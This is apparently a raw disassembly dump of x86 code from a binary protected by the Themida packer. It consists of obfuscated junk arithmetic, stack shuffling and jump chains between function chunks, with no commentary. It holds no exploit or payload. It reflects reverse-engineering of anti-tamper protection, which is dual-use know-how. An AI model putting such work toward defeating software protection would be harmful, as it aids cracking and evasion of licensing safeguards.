loc_59A35F:				; CODE XREF: sub_59A75E+1E4Dj
		mov	esi, [esp+2+var_4+2]
		push	edi
		mov	edi, esp
		push	eax
		push	ecx
		mov	ecx, 58CC352Fh
		add	ecx, 3E444E54h
		sub	ecx, 6929620Eh
		mov	eax, ecx
		pop	ecx
		sub	eax, 3F4A0C82h
		add	eax, 1162EB11h
		add	edi, eax
		jmp	loc_59C0EA
; END OF FUNCTION CHUNK	FOR sub_59A75E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59A38C:				; CODE XREF: sub_59390B+D316j
		add	esp, 4
		push	edx
		mov	edx, ebx
		mov	eax, edx
		pop	edx
		pop	ebx
		push	esi
		jmp	loc_591415
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D1FC


loc_59A39C:				; CODE XREF: sub_59D1FC+56F5j
		pop	esp
		xor	eax, ebp
		pop	ebp
		push	2EEBh
		mov	[esp+0], esi
		push	6EC2h
		mov	[esp-4+arg_0], edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_59A1DC
; END OF FUNCTION CHUNK	FOR sub_59D1FC
; ---------------------------------------------------------------------------


loc_59A3BD:				; CODE XREF: Themida_:005A3D4Dj
		pop	ecx
		sub	ebp, 0AA051F66h
		jmp	loc_5A5B59
; ---------------------------------------------------------------------------


loc_59A3C9:				; CODE XREF: Themida_:005A23ABj
		add	eax, 33BA1A04h
		xor	eax, 6645687Bh
		sub	eax, 0C51A9274h
		jmp	loc_59EB33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594A8D


loc_59A3DD:				; CODE XREF: sub_594A8D+3411j
		xor	esi, 3A39FDFCh
		jmp	loc_59D1BE
; END OF FUNCTION CHUNK	FOR sub_594A8D
; ---------------------------------------------------------------------------


loc_59A3E8:				; CODE XREF: Themida_:005A296Fj
		push	7AA4h
		mov	[esp], ecx
		jmp	loc_593CC2
; ---------------------------------------------------------------------------


loc_59A3F5:				; CODE XREF: Themida_:00598C34j
		not	esi
		sub	esi, 11B27E3Ch
		jmp	loc_59AA34
; ---------------------------------------------------------------------------


loc_59A402:				; CODE XREF: Themida_:005918C7j
		mov	eax, [esp]
		add	esp, 4
		xor	dl, 0B8h
		push	ebx
		mov	bh, 6Ch
		and	dl, bh
		pop	ebx
		sub	esp, 4
		jmp	loc_592564
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A23FB


loc_59A41F:				; CODE XREF: sub_5A23FB+Fj
		mov	ebp, 7023798Bh
		sub	ebp, 612027D9h
		xor	ebx, ebp
		jmp	loc_599B5D
; END OF FUNCTION CHUNK	FOR sub_5A23FB

; =============== S U B	R O U T	I N E =======================================



sub_59A431	proc near		; CODE XREF: sub_59F121+459Ej

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00590E43 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00591422 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00591465 SIZE 00000056 BYTES
; FUNCTION CHUNK AT 00592D66 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005932CC SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059385A SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00594543 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005949B8 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00595588 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0059561D SIZE 00000027 BYTES
; FUNCTION CHUNK AT 005957B2 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059705C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005972DD SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00599019 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00599BF6 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059A0EB SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0059A116 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059A8AC SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059ABBE SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0059ACF3 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059AE1A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059CB89 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059D4A6 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059D694 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059DC0C SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0059EADF SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059F012 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0059F348 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059FC24 SIZE 00000037 BYTES
; FUNCTION CHUNK AT 005A0D78 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A0E54 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005A0FB2 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A137C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A19CB SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A22ED SIZE 00000025 BYTES
; FUNCTION CHUNK AT 005A2876 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A2F9A SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A2FFD SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A3C84 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 005A5A79 SIZE 00000015 BYTES

		push	ebp
		mov	ebp, 1280390h
		shl	ebp, 7
		jmp	loc_59F348
sub_59A431	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_59A43F:				; CODE XREF: Themida_:005A216Dj
		pop	esp
		xchg	edi, [esp]
		mov	esp, [esp]
		push	3030h
		jmp	loc_59F9E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0733


loc_59A450:				; CODE XREF: sub_5A0733-445j
		or	eax, edi
		pop	edi
		shl	eax, 1
		push	47EAh
		jmp	loc_59AC48
; END OF FUNCTION CHUNK	FOR sub_5A0733
; ---------------------------------------------------------------------------


loc_59A45F:				; CODE XREF: Themida_:0059D625j
		add	eax, edi
		jmp	loc_5A593C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59A466:				; CODE XREF: sub_59390B+B69Fj
		mov	ecx, [esp-14h+arg_C]
		jmp	loc_592AAC
; ---------------------------------------------------------------------------


loc_59A46E:				; CODE XREF: sub_59390B-145Cj
		add	dl, 6Eh
		sub	al, dl
		jmp	loc_5A51D7
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59A478:				; CODE XREF: Themida_:005A4AAEj
		add	ebp, 4
		push	8BAh
		mov	[esp], esi
		mov	esi, 6AD76A89h
		jmp	loc_5932B4
; ---------------------------------------------------------------------------


loc_59A490:				; CODE XREF: Themida_:00599C9Fj
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		push	eax
		jmp	loc_59DD7B
; ---------------------------------------------------------------------------


loc_59A49D:				; CODE XREF: Themida_:0059EDDFj
		jmp	loc_590A9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5932F7


loc_59A4A2:				; CODE XREF: sub_5932F7+EB97j
		pop	[esp+4+var_4]
		mov	esp, [esp+0]
		jmp	sub_59A5DB
; END OF FUNCTION CHUNK	FOR sub_5932F7
; ---------------------------------------------------------------------------


loc_59A4AD:				; CODE XREF: Themida_:00595208j
		push	edx
		mov	edx, 1AD0479Ah
		xor	edx, 70C907CEh
		or	esi, edx
		pop	edx
		xor	esi, 52730ACDh
		and	ecx, esi
		jmp	loc_594398
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D82E


loc_59A4C9:				; CODE XREF: sub_59D82E+6DFFj
		mov	[esp+0], cx
		movzx	cx, al
		jmp	loc_598C39
; END OF FUNCTION CHUNK	FOR sub_59D82E

; =============== S U B	R O U T	I N E =======================================



sub_59A4D6	proc near		; CODE XREF: sub_59390B+10225j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00595139 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00595644 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00595CB8 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059691A SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00596B67 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059733C SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059782F SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00599279 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00599639 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0059B9E5 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059D383 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059F860 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A00D8 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A038F SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A06D9 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005A1FF6 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 005A2569 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A27B9 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A2923 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A2CCC SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005A2ECF SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A3AC1 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A43CD SIZE 00000035 BYTES
; FUNCTION CHUNK AT 005A5BE7 SIZE 0000000A BYTES

		sub	esp, 4
		mov	[esp+0Ch+var_C], edi
		jmp	loc_595CB8
sub_59A4D6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_59A4E4:				; CODE XREF: Themida_:005A4D31j
		pop	ebx
		neg	ecx
		or	ecx, 184A12EDh
		not	ecx
		and	ecx, 4D2E5AD0h
		push	ebx
		jmp	loc_596AE7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59A4FB:				; CODE XREF: sub_59390B+A4Aj
		add	edi, esi
		pop	esi
		xchg	edi, [esp+12h+var_14+2]
		pop	esp
		sub	esp, 4
		jmp	loc_591ABF
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59A50D:				; CODE XREF: Themida_:00591D13j
		add	esi, 225D5ED7h
		add	esi, 6BEA0F25h
		add	esi, 7B4D487Fh
		add	esi, 699F027Ch
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 2A8153BEh
		push	esi
		mov	esi, 41260929h
		and	ecx, esi
		pop	esi
		dec	ecx
		push	esi
		mov	esi, 123h
		push	ebx
		mov	ebx, 491969CDh
		jmp	loc_59BA1B
; ---------------------------------------------------------------------------


loc_59A54F:				; CODE XREF: Themida_:0059B26Fj
		mov	edi, 2C142BD1h
		shr	edi, 4
		sub	edi, 0EE2C14D3h
		sub	eax, edi
		pop	edi
		sub	eax, 561F707Eh
		add	eax, ebp
		add	eax, 561F707Eh
		add	eax, 14952DEAh
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_59B3D9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595BAD


loc_59A57C:				; CODE XREF: sub_595BAD-16C6j
		push	ecx
		sub	esp, 4
		mov	[esp+8+var_8], ebx
		push	edx
		push	42C44BF4h
		jmp	loc_5A2B23
; END OF FUNCTION CHUNK	FOR sub_595BAD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EA40


loc_59A591:				; CODE XREF: sub_59EA40-CB95j
		push	ecx
		mov	ecx, 4AD943B2h
		sub	ecx, 0E7839B12h
		add	esi, ecx
		mov	ecx, [esp+8+var_8]
		jmp	loc_593E9F
; END OF FUNCTION CHUNK	FOR sub_59EA40
; ---------------------------------------------------------------------------


loc_59A5A7:				; CODE XREF: Themida_:005995F7j
		pop	eax
		jmp	loc_5A38BD
; ---------------------------------------------------------------------------


loc_59A5AD:				; CODE XREF: Themida_:005944ACj
		xchg	ebx, [esp]
		jmp	loc_596F9F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FCCB


loc_59A5B5:				; CODE XREF: sub_59FCCB-AC42j
		pop	ebx
		add	ebp, ebx
		pop	ebx
		xchg	ebp, [esp+0]
		jmp	loc_592C21
; END OF FUNCTION CHUNK	FOR sub_59FCCB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59931D


loc_59A5C1:				; CODE XREF: sub_59931D+6BF9j
		mov	[esp-4+arg_0], eax
		jmp	loc_594172
; END OF FUNCTION CHUNK	FOR sub_59931D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59A5C9:				; CODE XREF: sub_59390B+11B16j
		and	ecx, esi
		mov	esi, [esp+12h+var_14+2]
		push	esi
		mov	esi, esp
		push	7680h
		jmp	loc_5A09FD
; END OF FUNCTION CHUNK	FOR sub_59390B

; =============== S U B	R O U T	I N E =======================================



sub_59A5DB	proc near		; CODE XREF: sub_5932F7+71B1j

var_8		= dword	ptr -8

		push	ebx
		push	15D5h
		mov	[esp+8+var_8], esp
		add	[esp+8+var_8], 4
		pop	ebx
		jmp	sub_59BCC8
sub_59A5DB	endp

; ---------------------------------------------------------------------------


loc_59A5F1:				; CODE XREF: Themida_:0059DD62j
		xchg	eax, [esp]
		pop	esp
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_59CF2D
; ---------------------------------------------------------------------------


loc_59A600:				; CODE XREF: Themida_:0059C894j
		add	edi, 4
		jmp	loc_595FAA
; ---------------------------------------------------------------------------


loc_59A608:				; CODE XREF: Themida_:0059CD9Bj
		jmp	loc_590A9B
; ---------------------------------------------------------------------------


loc_59A60D:				; CODE XREF: Themida_:0059DDC6j
		push	esi
		jmp	loc_5A53E6
; ---------------------------------------------------------------------------


loc_59A613:				; CODE XREF: Themida_:00598322j
		push	0BCFh
		mov	[esp], edi
		mov	edi, 6C8613Eh
		jmp	loc_591DFC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59A625:				; CODE XREF: sub_59390B+730Cj
		sub	edi, ebx
		push	ecx
		mov	ecx, 4DB44592h
		neg	ecx
		jmp	loc_59371D
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59A634:				; CODE XREF: Themida_:005A4C4Bj
		and	eax, 24CF4B2Bh
		push	eax
		not	dword ptr [esp]
		jmp	loc_592132
; ---------------------------------------------------------------------------


loc_59A642:				; CODE XREF: Themida_:005A2FCBj
		jmp	loc_590A9B
; ---------------------------------------------------------------------------


loc_59A647:				; CODE XREF: Themida_:0059FD7Aj
		shr	eax, 8
		add	eax, 2E8B1C24h
		and	edi, eax
		jmp	loc_599C96
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A23FB


loc_59A656:				; CODE XREF: sub_5A23FB-F885j
		push	esi
		mov	esi, 3F3A45A6h
		add	edi, esi
		jmp	loc_5A508A
; END OF FUNCTION CHUNK	FOR sub_5A23FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59A663:				; CODE XREF: sub_59390B-6B2j
		sub	edi, 61615B05h
		sub	edi, 5730197Dh
		add	edi, ebx
		add	edi, 5730197Dh
		push	esi
		mov	esi, 50F26343h
		jmp	loc_59226E
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59A682:				; CODE XREF: Themida_:0059AFFBj
		sub	dword ptr [esp+8], 66955F7Bh
		push	dword ptr [esp]
		jmp	loc_5995E6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59A692:				; CODE XREF: sub_59390B+5DCFj
		xor	edx, [esp+0Ch+var_C]
		xor	[esp+0Ch+var_C], edx
		jmp	loc_5A22D8
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59A69D:				; CODE XREF: Themida_:00595F95j
		add	bl, ch
		jmp	loc_5A2886
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591745


loc_59A6A4:				; CODE XREF: sub_591745+6A58j
		add	esp, 4
		shr	edx, 5
		dec	edx
		push	ecx
		mov	ecx, 5DDEDDEh
		jmp	loc_59E55F
; END OF FUNCTION CHUNK	FOR sub_591745
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FCCB


loc_59A6B6:				; CODE XREF: sub_59FCCB-D519j
		push	eax
		push	211Bh
		mov	[esp+0Ah+var_C+2], edx
		mov	dh, 6Fh
		mov	ah, 6Ah
		xor	ah, dh
		pop	edx
		jmp	loc_5A4F7D
; END OF FUNCTION CHUNK	FOR sub_59FCCB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0BFE


loc_59A6CB:				; CODE XREF: sub_5A0BFE+1Dj
		mov	ecx, 19370F97h
		neg	ecx
		and	ecx, 3C32B27h
		sub	ecx, 7CF50F9Dh
		sub	ebp, ecx
		mov	ecx, [esp-4+arg_0]
		add	esp, 4
		jmp	loc_5971B9
; END OF FUNCTION CHUNK	FOR sub_5A0BFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59A6EE:				; CODE XREF: sub_59390B+C9D7j
		mov	edi, [esp+0Ch+var_C]
		add	esp, 4
		xchg	edi, ebx
		xchg	ebx, ebp
		inc	ebp
		push	edx
		mov	edx, 0FFFFFFFFh
		sub	ebp, edx
		jmp	loc_59B4C4
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59A709:				; CODE XREF: Themida_:00595834j
		pop	esp
		mov	[esp], ebx
		jmp	loc_59B82F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59A712:				; CODE XREF: sub_59390B-1A8Fj
		or	ecx, 527B795Dh
		neg	ecx
		shr	ecx, 4
		push	eax
		jmp	loc_5A42FD
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59A723:				; CODE XREF: Themida_:00594D58j
		push	ecx
		mov	ecx, 6B296D2Ah
		neg	ecx
		add	ecx, 0EC8EFBE0h
		add	eax, ecx
		pop	ecx
		jmp	loc_5A3DEA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59A739:				; CODE XREF: sub_59390B-4C9j
		sub	ecx, ebp
		add	ecx, 75E11DE6h
		jmp	loc_59B513
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59A746:				; CODE XREF: Themida_:0059A048j
		xchg	ebp, [esp]
		jmp	loc_5A2CEC
; ---------------------------------------------------------------------------


loc_59A74E:				; CODE XREF: Themida_:005A4552j
		dec	ecx
		push	ecx
		push	ebp
		pop	ecx
		jmp	loc_599B41
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594A8D


loc_59A757:				; CODE XREF: sub_594A8D-2E99j
		pop	eax
		push	eax
		jmp	loc_5A5792
; END OF FUNCTION CHUNK	FOR sub_594A8D

; =============== S U B	R O U T	I N E =======================================



sub_59A75E	proc near		; CODE XREF: sub_59390B+7881j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00590E04 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059117B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005911D8 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0059155F SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0059279F SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005927E2 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00592B32 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005938F5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005943DE SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00594714 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00594DB0 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00595F27 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00596B15 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00598EE2 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00599C62 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059A35F SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0059AA6A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059AE4E SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0059B555 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0059BA28 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0059BDAC SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0059C0EA SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0059C597 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059C704 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059CA5E SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0059E0EF SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059EB92 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0059ED1A SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A1AFF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A1CB3 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A24AA SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A30F7 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A3C69 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A4439 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A46A2 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A4D07 SIZE 0000000E BYTES

		sub	esp, 4
		jmp	loc_5938F5
sub_59A75E	endp

; ---------------------------------------------------------------------------


loc_59A769:				; CODE XREF: Themida_:0059E316j
		pop	esp
		jmp	loc_595682
; ---------------------------------------------------------------------------


loc_59A76F:				; CODE XREF: Themida_:005A44EDj
		mov	edi, 772234D3h
		add	edi, 955D10C1h
		add	esi, edi
		pop	edi
		pop	eax
		push	edi
		mov	edi, 0C92210Bh
		add	ebx, 3E67498Ah
		jmp	loc_597DBA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59A78F:				; CODE XREF: sub_59390B+97C0j
		inc	ebx
		shl	ebx, 2
		or	ebx, 1CF471FDh
		jmp	loc_599080
; ---------------------------------------------------------------------------


loc_59A79E:				; CODE XREF: sub_59390B+5AE8j
		add	eax, 4
		jmp	sub_59E510
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59A7A8:				; CODE XREF: Themida_:005A3D86j
		pop	edx
		sub	esp, 4
		jmp	loc_5970A2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59A7B1:				; CODE XREF: sub_59390B+C51Bj
		mov	esi, 69D007B9h
		neg	esi
		sub	esi, 83AD8BACh
		and	ecx, esi
		pop	esi
		and	ecx, 9B27D2Ch
		and	ecx, 2C8960E3h
		xor	ecx, 194C62C7h
		neg	ecx
		add	ecx, 25F733DDh
		add	ebx, ecx
		mov	ecx, [esp-26h+arg_1C+2]
		jmp	loc_594346
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CFD4


loc_59A7E5:				; CODE XREF: sub_59CFD4+3778j
		push	4836h
		mov	[esp+8+var_8], ebx
		mov	ebx, 5FF478BFh
		sub	esp, 4
		mov	[esp+0Ch+var_C], ecx
		sub	esp, 4
		mov	[esp+10h+var_10], ebp
		mov	ebp, 4FC474D6h
		mov	ecx, 650FDC32h
		sub	ecx, ebp
		pop	ebp
		push	esi
		mov	esi, 0B322F92h
		add	[esp+10h+var_4], esi
		pop	esi
		sub	[esp+0Ch+var_4], ecx
		push	eax
		mov	eax, 0B322F92h
		jmp	loc_5A0463
; END OF FUNCTION CHUNK	FOR sub_59CFD4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59918B


loc_59A825:				; CODE XREF: sub_59918B-41B4j
		pop	esi
		mov	ebx, [esp-4+arg_0]
		add	esp, 4
		add	edx, edi
		add	eax, [edx]
		push	[esp-8+arg_4]
		jmp	loc_5A3E76
; END OF FUNCTION CHUNK	FOR sub_59918B
; ---------------------------------------------------------------------------


loc_59A838:				; CODE XREF: Themida_:005A1E9Dj
		mov	esi, esp
		push	ebp
		jmp	loc_59CEB8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59A840:				; CODE XREF: sub_59390B+1528j
		push	esp
		jmp	loc_59A302
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A17BF


loc_59A846:				; CODE XREF: sub_5A17BF+1j
		xor	eax, ebx
		push	6F16h
		mov	[esp+4+var_4], ebx
		mov	ebx, 68931CAh
		xchg	esi, ebx
		push	esi
		push	edx
		pop	esi
		jmp	loc_59FCBE
; END OF FUNCTION CHUNK	FOR sub_5A17BF
; ---------------------------------------------------------------------------


loc_59A85F:				; CODE XREF: Themida_:005A01FAj
		mov	dh, al
		pop	eax
		pop	ecx
		pop	ebx
		mov	bl, dh
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		mov	eax, [esp]
		jmp	loc_59433A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5936EC


loc_59A875:				; CODE XREF: sub_5936EC+5D94j
		push	1381C3Ah
		mov	eax, [esp+10h+var_10]
		add	esp, 4
		xchg	eax, ebp
		inc	ebp
		xchg	eax, ebp
		add	eax, 5A07FEB4h
		mov	ecx, eax
		pop	eax
		add	ecx, 513E199Ch
		add	ecx, 2D317FAFh
		jmp	loc_59F49E
; END OF FUNCTION CHUNK	FOR sub_5936EC
; ---------------------------------------------------------------------------


loc_59A89C:				; CODE XREF: Themida_:00594FF7j
		mov	ecx, [esp]
		jmp	loc_594B19
; ---------------------------------------------------------------------------


loc_59A8A4:				; CODE XREF: Themida_:005A3CD0j
		mov	ecx, esp
		push	eax
		jmp	loc_5A3569
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A431


loc_59A8AC:				; CODE XREF: sub_59A431+4F1Dj
		xor	ebp, 79562853h
		shl	ebp, 6
		sub	ebp, 9D203C25h
		xor	edx, ebp
		jmp	loc_5A2FFD
; END OF FUNCTION CHUNK	FOR sub_59A431
; ---------------------------------------------------------------------------


loc_59A8C2:				; CODE XREF: Themida_:005988D8j
		or	eax, 3EA94A3Ah
		sub	eax, 72B40BAAh
		mov	edx, eax
		pop	eax
		add	[esp+8], edx
		pop	edx
		push	7DC4h
		jmp	loc_5919F1
; ---------------------------------------------------------------------------


loc_59A8DE:				; CODE XREF: Themida_:005A3564j
		not	edi
		jmp	loc_59160C
; ---------------------------------------------------------------------------


loc_59A8E5:				; CODE XREF: Themida_:00599240j
		add	edx, ebp
		add	edx, 34013C1Eh
		pop	ebp
		jmp	loc_5A4209
; ---------------------------------------------------------------------------


loc_59A8F3:				; CODE XREF: Themida_:00592D2Ej
		mov	eax, 4
		jmp	loc_592F2F
; ---------------------------------------------------------------------------


loc_59A8FD:				; CODE XREF: Themida_:005A3C13j
		add	ax, di
		jmp	loc_598DAC

; =============== S U B	R O U T	I N E =======================================



sub_59A905	proc near		; CODE XREF: sub_59F53F-1F9Fj

var_4		= dword	ptr -4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00591B7C SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00594B27 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00597DF0 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059AD9A SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0059E5ED SIZE 00000008 BYTES

		push	ebx
		mov	ebx, 490222B6h
		mov	ecx, ebx
		pop	ebx
		jmp	loc_591B7C
sub_59A905	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_59A913:				; CODE XREF: Themida_:00591362j
		xor	eax, edi
		pop	edi
		jmp	loc_5964EF
; ---------------------------------------------------------------------------


loc_59A91B:				; CODE XREF: Themida_:00592802j
		push	ebx
		jmp	loc_5A2B5D
; ---------------------------------------------------------------------------


loc_59A921:				; CODE XREF: Themida_:0059C344j
		add	dword ptr [esp+4], 1C624769h
		sub	[esp+4], esi
		sub	dword ptr [esp+4], 1C624769h
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_590A9B
; ---------------------------------------------------------------------------


loc_59A940:				; CODE XREF: Themida_:005A2B13j
		mov	[esp], ecx
		push	20674678h
		jmp	loc_59A2DB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59A94D:				; CODE XREF: sub_59390B+6446j
		push	dx
		mov	dh, 0EAh
		not	dh
		jmp	loc_596BA5
; END OF FUNCTION CHUNK	FOR sub_59390B

; =============== S U B	R O U T	I N E =======================================



